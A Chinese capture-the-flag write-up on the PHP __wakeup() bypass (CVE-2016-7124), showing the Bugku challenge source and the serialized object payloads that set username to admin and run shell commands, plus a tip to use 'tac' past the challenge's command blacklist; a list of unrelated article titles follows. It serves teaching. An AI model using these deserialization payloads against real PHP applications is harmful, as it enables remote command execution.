写在前面

wakeup()是在反序列化的基础之上进行的,如果你不是很清楚反序列化漏洞,可以点击下方:

反序列化漏洞

漏洞影响的版本

PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞利用方法

若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

漏洞出现情况

1.可以之间或简介控制序列化结果
2.__wakeup()函数会强制修改某些内容

示例(Bugku-web-安慰奖)

题目源码

<?phpheader("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{protected $username = 'hack';protected $cmd = 'NULL';public function __construct($username,$cmd){$this->username = $username;$this->cmd = $cmd;}function __wakeup(){$this->username = 'guest';}function __destruct(){if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)){exit('</br>flag能让你这么容易拿到吗?<br>');}if ($this->username === 'admin'){// echo "<br>right!<br>";$a = `$this->cmd`;var_dump($a);}else{echo "</br>给你个安慰奖吧,hhh!</br>";die();}}
}$select = $_GET['code'];$res=unserialize(@$select);
?>

这里的wakeup函数就强制对username属性进行更改,要得到flag就必须绕过wakeup,将username改成admin,然后再执行命令。
写出第一次的payload:

O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}

写的时候最好用脚本写,这里有protected关键字,要加*手写容易出错。
接下来将ctf的参值长度改为3,由于与反序列化规则不符,就会反序列化失败,绕过__wakeup(),但是__destruct仍然可以执行。

注:
或许你会疑惑:
明明无法完成反序列化,为什么还可以触发__destruct(),为什么还能够对username属性赋值?

你可以这样理解:
反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改为了3,会先依次反序列化2个单位,直到无法检索到第3个目标才判定反序列化失败。
所以当然可以触发__destruct(),完成前面属性的赋值。

第二次的payload:

O:3:"ctf":3:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}

这里对命令进行了一定正则筛选
除了上述命令,还可以使用’tac’来检索文件
只是和cat反了过来。
并且由于是protected属性,会加上*,并且长度为3(上面payload username名称那里长度为11也能推断出)
在url编码中,%00代表空,所以我们要手动加上。还原完整payload
所以最终payload:

O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"ls";}

拿到flag

PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)相关推荐

  1. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

  2. wpf window 不执行show 就不能load执行_Numpy反序列化命令执行漏洞分析(CVE-2019-6446)附0day...

    1.介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy 提供大量的 函数和操作,能够帮助程序员便利进行数值计算.在 NumPy 1.16.0 版本之前存在反序列 ...

  3. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

    Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...

  4. python pickle反序列化漏洞_Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system...

    1. 介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy提供大量的函数和操作,能够帮助 程序员 便利进行数值计算.在NumPy 1.16.0版本之前存在反序列化 ...

  5. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  6. 程序验证Jackson反序列化的规则、Jackson序列化与反序列化关键方法程序详细分析

    目录 0. 为什么要做这个分析 1. Jackson反序列化时,无参构造.有参构造的执行顺序[附程序截图] 1.1 没有无参构造时: 1.2 无参构造和有参构造方法都有的时候先走无参构造: 2. Ja ...

  7. 【Vulhub】Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)

    脚本小子上线啦,开始复现以前出现实战环境的漏洞了,我会记录一些复现的漏洞(不会是全部),今天这个漏洞的原理我也不太会就知道是个Java反序列化的洞,只负责复现(脚本小子~). 漏洞介绍&环境搭 ...

  8. php up,PHP中 __wakeup()方法详解

    __wakeup(),执行unserialize()时,先会调用这个函数 如果说 __sleep() 是白的,那么 __wakeup() 就是黑的了. 那么为什么呢? 因为: 与之相反,`unseri ...

  9. 03 - vulhub - Apereo CAS 4.1 反序列化命令执行漏洞

    文章目录 漏洞名称:Apereo CAS 4.1 反序列化命令执行漏洞 影响版本 漏洞原理 漏洞复现 环境准备 漏洞检测 漏洞利用 验证漏洞利用是否成功 修复建议 漏洞名称:Apereo CAS 4. ...

  10. 【vulhub】Apereo CAS 4.1 反序列化命令执行漏洞复现

    楼主困了,这里就直接写上楼主自己的一些操作 详细过程可以看Apereo CAS 4.1 反序列化命令执行漏洞复现 特征: 1.网站根目录下有cas目录 2.如图所示,有apereo CAS图标 3.如 ...

最新文章

  1. 安卓按键精灵_月薪3w的按键精灵大神都是从这个命令开始起步的
  2. python实现shell_基于 Python 的简易 Shell 实现
  3. 别让用户发呆——设计中的防呆策略
  4. .NET Core 如何禁止.resx文件自动生成Designer.cs
  5. 套套原来是这样装袋的,40个机械动图看懂好像并不容易。。。
  6. 题目:16版.雇员的工作职责(一)
  7. 跟我学《JavaScript高程3》第一讲,视频课程,课程笔记
  8. 总容易混淆的排序算法:直接选择、冒泡(鸡尾酒)、直接插入(二分插入)(希尔)...
  9. 【Red5流媒体服务器搭建】
  10. 自锁时间电路plc_自锁与互锁电路的plc梯形图程序【图】
  11. Android Zxing 相册二维码/条码图片识别
  12. hive mapreduce reducer 调优
  13. 清华本科生0人去阿里,交叉信息院硕士没人再深造
  14. 学习Python后能找什么工作
  15. latex 大于小于大于等于小于等于
  16. 惠普台式电脑引导不了系统_hp台式机进不去系统怎么办
  17. php如何连接数据库 甲骨文,Windows PHP/phpStudy 连接 甲骨文Oracle 数据库 oci8
  18. Redis Cluster与Codis的选择
  19. 【caffe】caffe结构解析(二)
  20. PCoIP vs HDX (CITRIX ICA)远程访问协议对比

热门文章

  1. unity3d meshBaker 基本的使用
  2. session钝化活化
  3. CDN中加速域名和源站地址和回源HOST是什么,应该怎么填
  4. 中国各大银行卡号查询
  5. 标注的尺寸避让lisp_AutoCAD中尺寸公差的自动标注 一短小AutoLISP程序轻松实现.doc...
  6. Qt解决连接https报错
  7. Python三个数字排列大小
  8. 电脑中病毒所有html文件,文件夹全部变成exe文件该怎么办?电脑中了kiss病毒的两种解决办法...
  9. C++多线程-原子锁
  10. 免费的个人网路监控软体 NetLimiter 2 Monitor